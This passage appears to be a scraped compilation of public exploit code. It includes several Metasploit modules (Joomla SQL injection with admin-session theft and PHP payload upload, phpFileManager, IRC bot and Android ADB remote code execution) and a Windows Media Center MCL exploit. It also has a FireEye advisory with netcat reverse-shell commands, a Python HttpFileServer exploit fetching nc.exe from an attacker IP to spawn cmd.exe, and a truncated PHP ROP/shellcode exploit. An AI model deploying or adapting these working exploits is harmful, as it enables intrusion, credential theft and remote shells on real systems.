'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ] ], 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as POST data, so # really it's unlimited 'Space' => 262144, # 256k }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Joomla 3.x <= 3.4.4', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 23 2015", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Joomla', '/']) ], self.class) end def check # Request using a non-existing table res = sqli(rand_text_alphanumeric(rand(10)+6)) if res && res.body =~ /`(.*)_ucm_history`/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def sqli( tableprefix ) # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real admin sessions. sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)" # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php"), 'vars_get' => { 'option' => 'com_contenthistory', 'view' => 'history', 'list[ordering]' => '', 'item_id' => '1', 'type_id' => '1', 'list[select]' => sql } }) return res end def exploit # Request using a non-existing table first, to retrieve the table prefix res = sqli(rand_text_alphanumeric(rand(10)+6)) if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/ table_prefix = $1 print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") end # Retrieve the admin session using our retrieved table prefix res = sqli("#{table_prefix}_") if res && res.code == 500 && res.body =~ /Duplicate entry &#039;([a-z0-9]+)&#039; for key/ auth_cookie_part = $1[0...-1] print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") else fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!") end # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php") }) if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ cookie_begin = $1 print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie") end # Modify cookie to authenticated admin auth_cookie = cookie_begin auth_cookie << "=" auth_cookie << auth_cookie_part auth_cookie << ";" # Authenticated session res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie }) if res && res.code == 200 && res.body =~ /Administration - Control Panel/ print_status("#{peer} - Successfully authenticated as Administrator") else fail_with(Failure::Unknown, "#{peer} - Session failure") end # Retrieve template view res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'templates' } }) # We try to retrieve and store the first template found if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/ template_id = $1 file_id = $2 else fail_with(Failure::Unknown, "Unable to retrieve template") end filename = rand_text_alphanumeric(rand(10)+6) # Create file print_status("#{peer} - Creating file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'task' => 'template.createFile', 'id' => template_id, 'file' => file_id, }, 'vars_post' => { 'type' => 'php', 'name' => filename } }) # Grab token if res && res.code == 303 && res.headers['Location'] location = res.headers['Location'] print_status("#{peer} - Following redirect to [ #{location} ]") res = send_request_cgi( 'uri' => location, 'method' => 'GET', 'cookie' => auth_cookie ) # Retrieving template token if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/ token = $1 print_status("#{peer} - Token [ #{token} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Retrieving token failed") end if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/ template_path = $1 print_status("#{peer} - Template path [ #{template_path} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path") end else fail_with(Failure::Unknown, "#{peer} - Creating file failed") end filename_base64 = Rex::Text.encode_base64("/#{filename}.php") # Inject payload data into file print_status("#{peer} - Insert payload into file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'template', 'id' => template_id, 'file' => filename_base64, }, 'vars_post' => { 'jform[source]' => payload.encoded, 'task' => 'template.apply', token => '1', 'jform[extension_id]' => template_id, 'jform[filename]' => "/#{filename}.php" } }) if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/ print_status("#{peer} - Payload data inserted into [ #{filename}.php ]") else fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]") end # Request payload register_files_for_cleanup("#{filename}.php") print_status("#{peer} - Executing payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"), 'cookie' => auth_cookie }) end end
  14. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'phpFileManager 0.9.8 Remote Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in phpFileManager 0.9.8 which is a filesystem management tool on a single file. }, 'License' => MSF_LICENSE, 'Author' => [ 'hyp3rlinx', # initial discovery 'Jay Turla' # msf ], 'References' => [ [ 'EDB', '37709' ], [ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website ], 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Targets' => [ ['phpFileManager / Unix', { 'Platform' => 'unix' } ], ['phpFileManager / Windows', { 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Aug 28 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']), ],self.class) end def check txt = Rex::Text.rand_text_alpha(8) res = http_send_command("echo #{txt}") if res && res.body =~ /#{txt}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def push uri = normalize_uri(target_uri.path) # To push the Enter button res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'frame' => '3', 'pass' => '' # yep this should be empty } }) if res.nil? vprint_error("#{peer} - Connection timed out") fail_with(Failure::Unknown, "Failed to trigger the Enter button") end if res && res.headers && res.code == 302 print_good("#{peer} - Logged in to the file manager") cookie = res.get_cookies cookie else fail_with(Failure::Unknown, "#{peer} - Error entering the file manager") end end def http_send_command(cmd) cookie = push res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'cookie' => cookie, 'vars_get' => { 'action' => '6', 'cmd' => cmd } }) unless res && res.code == 200 fail_with(Failure::Unknown, "Failed to execute the command.") end res end def exploit http_send_command(payload.encoded) end end
  15. Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131) Software Vendor: Microsoft Software version : MS Windows Media Center latest version on any Windows OS. Software Vendor Homepage: http://www.microsoft.com CVE: CVE-2015-6131 Exploit Author: Eduardo Braun Prado Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team date: december 8, 2015 Vulnerability description: Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files. exploit code below: ----------- self-exec-1.mcl ------------------------------------ <application url="self-exec1.mcl"/><html><script>alert(' I am running in local machine zone which allows arbitrary code execution via, for example, ADO Objects')</script></html> ------------------------------------------------------------ ----------self-exec-2.mcl-------------------------------------- <application url="self-exec2.mcl"/><html><b>Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit</b><img src=\\192.168.10.10\smbshare\someimg.jpg></img><script> RecordsetURL='http://192.168.10.10:80/recordsetfile.txt'; var rs = new ActiveXObject('ADODB.recordset'); rs.Open(RecordsetURL); rs.Save('C:/users/windowsuser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/poc.hta'); rs.Close(); </script></html> ---------------------------------------------------------- -----Create-recordsetfile.hta -------------- <html><body onload="aa()"> <script language="VBScript"> function aa() defdir="." alert "This script will retrieve data from ""recordsetdata.txt"" and save it to the current directory as ""recordsetfile.txt"". Set c = CreateObject("ADODB.Connection") co = "Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=" & defdir & ";Extensions=txt;" c.Open co set rs =CreateObject("ADODB.Recordset") rs.Open "SELECT * from recordsetdata.txt", c al=rs.Save(defdir & "\recordsetfile.txt") rs.close end function </script></body></html> ------------------------------------------------------------------------------- ---------recordsetdata.txt------------------------------------------ <html> <script>a=new ActiveXObject('Wscript.Shell')</script> <script>a.Run('calc.exe',1);</script> </html> -------------------------------------------------------------------
  16. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution', 'Description' => %q{ This module allows remote command execution on an IRC Bot developed by xdh. This perl bot was caught by Conor Patrick with his shellshock honeypot server and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt Thayer also found this script which has a description of LinuxNet perlbot. The bot answers only based on the servername and nickname in the IRC message which is configured on the perl script thus you need to be an operator on the IRC network to spoof it and in order to exploit this bot or have at least the same ip to the config. }, 'Author' => [ #MalwareMustDie 'Jay Turla', # msf 'Conor Patrick', # initial discovery and botnet analysis for xdh 'Matt Thayer' # initial discovery for LinuxNet perlbot ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ], [ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is ], 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Targets' => [ [ 'xdh Botnet / LinuxNet perlbot', { } ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 04 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(6667), OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) ], self.class) end def check connect res = register(sock) if res =~ /463/ || res =~ /464/ vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end res = join(sock) if !res =~ /353/ && !res =~ /366/ vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end quit(sock) disconnect if res =~ /auth/ && res =~ /logged in/ Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def send_msg(sock, data) sock.put(data) data = "" begin read_data = sock.get_once(-1, 1) while !read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end data end def register(sock) msg = "" if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" end if datastore['NICK'].length > 9 nick = rand_text_alpha(9) print_error("The nick is longer than 9 characters, using #{nick}") else nick = datastore['NICK'] end msg << "NICK #{nick}\r\n" msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" send_msg(sock,msg) end def join(sock) join_msg = "JOIN #{datastore['CHANNEL']}\r\n" send_msg(sock, join_msg) end def xdh_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n" send_msg(sock, command_msg) end def quit(sock) quit_msg = "QUIT :bye bye\r\n" sock.put(quit_msg) end def exploit connect print_status("#{rhost}:#{rport} - Registering with the IRC Server...") res = register(sock) if res =~ /463/ || res =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") res = join(sock) if !res =~ /353/ && !res =~ /366/ print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return end print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") xdh_command(sock) quit(sock) disconnect end end
  17. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Legend Perl IRC Bot Remote Code Execution', 'Description' => %q{ This module exploits a remote command execution on the Legend Perl IRC Bot . This bot has been used as a payload in the Shellshock spam last October 2014. This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and UDP flooding, the ability to remove system logs, and ability to gain root, and VNC scanning. Kevin Stevens, a Senior Threat Researcher at Damballa has uploaded this script to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76. }, 'Author' => [ 'Jay Turla' # msf and initial discovery #MalwareMustDie ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '121681' ], [ 'EDB', '36836' ], [ 'URL', 'https://www.damballa.com/perlbotnado/' ], [ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details ], 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Targets' => [ [ 'Legend IRC Bot', { } ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 27 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(6667), OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) ], self.class) end def check connect res = register(sock) if res =~ /463/ || res =~ /464/ vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end res = join(sock) if !res =~ /353/ && !res =~ /366/ vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end quit(sock) disconnect if res =~ /auth/ && res =~ /logged in/ Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def send_msg(sock, data) sock.put(data) data = "" begin read_data = sock.get_once(-1, 1) while !read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end data end def register(sock) msg = "" if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" end if datastore['NICK'].length > 9 nick = rand_text_alpha(9) print_error("The nick is longer than 9 characters, using #{nick}") else nick = datastore['NICK'] end msg << "NICK #{nick}\r\n" msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" send_msg(sock,msg) end def join(sock) join_msg = "JOIN #{datastore['CHANNEL']}\r\n" send_msg(sock, join_msg) end def legend_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n" send_msg(sock, command_msg) end def quit(sock) quit_msg = "QUIT :bye bye\r\n" sock.put(quit_msg) end def exploit connect print_status("#{rhost}:#{rport} - Registering with the IRC Server...") res = register(sock) if res =~ /463/ || res =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") res = join(sock) if !res =~ /353/ && !res =~ /366/ print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return end print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") legend_command(sock) quit(sock) disconnect end end
  18. Source: https://code.google.com/p/google-security-research/issues/detail?id=666 The FireEye MPS (Malware Protection System) is vulnerable to a remote code execution vulnerability, simply from monitoring hostile traffic. FireEye is designed to operate as a passive network tap, so that it can see all the files and emails that enter a monitored network. This vulnerability allows an attacker to compromise the FireEye device, get a root shell and start monitoring all traffic on the victim network (emails, attachments, downloads, web browsing, etc). This is about the worst possible vulnerability that you can imagine for a FireEye user, it literally does not get worse than this. This bug is in one of the analysis tools used by the MIP (Malware Input Processor), which has various tools for analysis of different file types. One of these tools is a script that attempts to decompile Java Archives, then runs some simple regexes over the decompiled code: $ grep subprocess.Popen /opt/fireeye/scripts/mip/content/jar.py sp = subprocess.Popen(yara_cmd,stdout=outfile) sp = subprocess.Popen(cmd_list,stdout=outfile,stderr=errfile) sp = subprocess.Popen(jarsigner_cmd,stdout=outfile,stderr=errfile) The decompiler used is actually a modified version of JODE, an ancient opensource decompiler written in Java: http://jode.sourceforge.net/ Examining the source code for JODE, it supports a "String Deobfuscation" feature that relies on reflection, this is visible here: http://sourceforge.net/p/jode/code/HEAD/tree/trunk/jode/src/net/sf/jode/expr/InvokeOperator.java public Object invokeMethod(Reference ref, boolean isVirtual, Object cls, Object[] params) throws InterpreterException, InvocationTargetException { if (cls == null && ref.getClazz().equals(classSig)) { BasicBlocks bb = classInfo .findMethod(ref.getName(), ref.getType()) .getBasicBlocks(); if (bb != null) return interpreter.interpretMethod(bb, null, params); throw new InterpreterException ("Can't interpret static native method: "+ref); } else return super.invokeMethod(ref, isVirtual, cls, params); } } By carefully crafting a class file that passes JODE's test for obfuscation, we were able to invoke arbitrary methods using reflection. We did this using the jasmin compiler: # create the hostile JAR $ jasmin ReverseShell.j $ jar cvf fireeye.jar ReverseShell.class added manifest adding: ReverseShell.class(in = 489) (out= 311)(deflated 36%) # Now start a reverse shell listening $ nc -lp 9090 & [1] 11115 # download a file over the monitored network $ curl http://192.168.1.1/appliance-test/fireeye.jar &> /dev/null # wait for the connect back shell attempt $ wait uid=821(mip) gid=3111(mip) groups=3111(mip),602(antivirus),2000(analysis),3001(stats),3134(mip_child),3200(dipcshm),3203(reports),3204(contents),3210(mip_client) [1]+ Done nc -lp 9090 # Code execution! (Getting root from gid=mip_child is trivial, this is a second bug that will be filed.) The Jasmin file we used is attached. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39007.zip
  19. #!/usr/bin/python # Exploit Title: HttpFileServer 2.3.x Remote Command Execution # Google Dork: intext:"httpfileserver 2.3" # Date: 04-01-2016 # Remote: Yes # Exploit Author: Avinash Kumar Thapa aka "-Acid" # Vendor Homepage: http://rejetto.com/ # Software Link: http://sourceforge.net/projects/hfs/ # Version: 2.3.x # Tested on: Windows Server 2008 , Windows 8, Windows 7 # CVE : CVE-2014-6287 # Description: You can use HFS (HTTP File Server) to send and receive files. # It's different from classic file sharing because it uses web technology to be more compatible with today's Internet. # It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux. #Usage : python Exploit.py <Target IP address> <Target Port Number> #EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe). # You may need to run it multiple times for success! import urllib2 import sys try: def script_create(): urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}") def execute_script(): urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}") def nc_run(): urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}") ip_addr = "192.168.44.128" #local IP address local_port = "443" # Local Port number vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with" save= "save|" + vbs vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs" exe= "exec|"+vbs2 vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port exe1= "exec|"+vbs3 script_create() execute_script() nc_run() except: print """[.]Something went wrong..! Usage is :[.] python exploit.py <Target IP address> <Target Port Number> Don't forgot to change the Local IP address and Port number on the script"""
  20. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/adb' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Android ADB Debug Server Remote Payload Execution', 'Description' => %q{ Writes and spawns a native payload on an android device that is listening for adb debug messages. }, 'Author' => ['joev'], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' }, 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE], 'Targets' => [ ['armle', {'Arch' => ARCH_ARMLE}], ['x86', {'Arch' => ARCH_X86}], ['x64', {'Arch' => ARCH_X86_64}], ['mipsle', {'Arch' => ARCH_MIPSLE}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 2016' )) register_options([ Opt::RPORT(5555), OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']) ], self.class) end def check setup_adb_connection do device_info = @adb_client.connect.data print_good "Detected device:\n#{device_info}" return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Unknown end def execute_command(cmd, opts) response = @adb_client.exec_cmd(cmd) print_good "Command executed, response:\n #{response}" end def exploit setup_adb_connection do device_data = @adb_client.connect print_good "Connected to device:\n#{device_data.data}" execute_cmdstager({ flavor: :echo, enc_format: :octal, prefix: '\\\\0', temp: datastore['WritableDir'], linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8, background: true, nodelete: true }) end end def setup_adb_connection(&blk) begin print_status "Connecting to device..." connect @adb_client = Rex::Proto::ADB::Client.new(sock) blk.call ensure disconnect end end end
  21. <?php // Source: http://akat1.pl/?id=1 function get_maps() { $fh = fopen("/proc/self/maps", "r"); $maps = fread($fh, 331337); fclose($fh); return explode("\n", $maps); } function find_map($sym) { $addr = 0; foreach(get_maps() as $record) if (strstr($record, $sym) && strstr($record, "r-xp")) { $addr = hexdec(explode('-', $record)[0]); break; } if ($addr == 0) die("[-] can't find $sym base, you need an information leak :["); return $addr; } function fill_buffer($offset, $content) { global $buffer; for ($i = 0; $i < strlen($content); $i++) $buffer[$offset + $i] = $content[$i]; return; } $pre = get_maps(); $buffer = str_repeat("\x00", 0xff0000); $post = get_maps(); $tmp = array_diff($post, $pre); if (count($tmp) != 1) die('[-] you need an information leak :['); $buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]); $addr = $buffer_base+0x14; /* align to string */ echo "[+] buffer string @ 0x".dechex($addr)."\n"; $align = 0xff; $addr += $align; echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n"; echo "[+] faking ASN @ 0x".dechex($addr)."\n"; fill_buffer($align + 12, pack('P', $addr)); $libphp_base = find_map("libphp7"); echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n"; /* pop x ; pop rsp ; ret - stack pivot */ $rop_addr = $libphp_base + 0x00000000004a79c3; echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n"; fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr)); /* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */ $rop_addr = $libphp_base + 0x000000000041d583; fill_buffer($align - 4, pack('P', $rop_addr)); $libc_base = find_map("libc-"); echo "[+] libc base @ 0x".dechex($libc_base)."\n"; $mprotect_offset = 0xf4a20; $mprotect_addr = $libc_base + $mprotect_offset; echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n"; $mmap_offset = 0xf49c0; $mmap_addr = $libc_base + $mmap_offset; echo "[+] mmap @ 0x".dechex($mmap_addr)."\n"; $apache2_base = find_map("/usr/sbin/apache2"); echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n"; $ap_rprintf_offset = 0x429c0; $ap_rprintf_addr = $apache2_base + $ap_rprintf_offset; echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n"; $ap_hook_quick_handler_offset = 0x56c00; $ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset; echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n"; echo "[+] building ropchain\n"; $rop_chain = pack('P', $libphp_base + 0x00000000000ea107) . // pop rdx ; ret pack('P', 0x0000000000000007) . // rdx = 7 pack('P', $libphp_base + 0x00000000000e69bd) . // pop rsi ; ret pack('P', 0x0000000000004000) . // rsi = 0x1000 pack('P', $libphp_base + 0x00000000000e5fd8) . // pop rdi ; ret pack('P', $addr ^ ($addr & 0xffff)) . // rdi = page aligned addr pack('P', $mprotect_addr) . // mprotect addr pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1 fill_buffer($align + 0x14, $rop_chain); $shellcode_stage1 = str_repeat("\x90", 512) . "\x48\xb8" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax "\x49\xb8" . pack('P', 0x1000) . // handler size "\x48\xb9" . pack('P', $buffer_base + 0x3018) . // handler "\x48\xba" . pack('P', $ap_hook_quick_handler_addr) . // movabs ap_hook_quick_handler, %rdx "\x48\xbe" . pack('P', 0) . // UNUSED "\x48\xbf" . pack('P', $mmap_addr) . // movabs mmap,%rdi "\xff\xd0" . // callq %rax "\xb8\x27\x00\x00\x00" . // mov $0x27,%eax - getpid syscall "\x0f\x05" . // syscall "\xbe\x1b\x00\x00\x00" . // mov $0xd,%esi - SIGPROF "\x89\xc7" . // mov %eax,%edi - pid "\xb8\x3e\x00\x00\x00" . // mov $0x3e,%eax - kill syscall "\x0f\x05"; // syscall fill_buffer(0x1000, $shellcode_stage1); $shellcode_stage2 = str_repeat("\x90", 512) . "\x55" . // push %rbp "\x48\x89\xe5" . // mov %rsp,%rbp "\x48\x83\xec\x40" . // sub $0x40,%rsp "\x48\x89\x7d\xe8" . // mov %rdi,-0x18(%rbp) "\x48\x89\x75\xe0" . // mov %rsi,-0x20(%rbp) "\x48\x89\x55\xd8" . // mov %rdx,-0x28(%rbp) "\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp) "\x4c\x89\x45\xc8" . // mov %r8,-0x38(%rbp) "\x48\x8b\x45\xe8" . // mov -0x18(%rbp),%rax "\x41\xb9\x00\x00\x00\x00" . // mov $0x0,%r9d "\x41\xb8\xff\xff\xff\xff" . // mov $0xffffffff,%r8d "\xb9\x22\x00\x00\x00" . // mov $0x22,%ecx "\xba\x07\x00\x00\x00" . // mov $0x7,%edx "\xbe\x00\x20\x00\x00" . // mov $0x2000,%esi "\xbf\x00\x00\x00\x00" . // mov $0x0,%edi "\xff\xd0" . // callq *%rax "\x48\x89\x45\xf0" . // mov %rax,-0x10(%rbp) "\x48\x8b\x45\xf0" . // mov -0x10(%rbp),%rax "\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp) "\xeb\x1d" . // jmp 0x40063d <shellcode+0x6d> "\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax "\x48\x8d\x50\x01" . // lea 0x1(%rax),%rdx "\x48\x89\x55\xf8" . // mov %rdx,-0x8(%rbp) "\x48\x8b\x55\xd0" . // mov -0x30(%rbp),%rdx "\x48\x8d\x4a\x01" . // lea 0x1(%rdx),%rcx "\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp) "\x0f\xb6\x12" . // movzbl (%rdx),%edx "\x88\x10" . // mov %dl,(%rax) "\x48\x8b\x45\xc8" . // mov 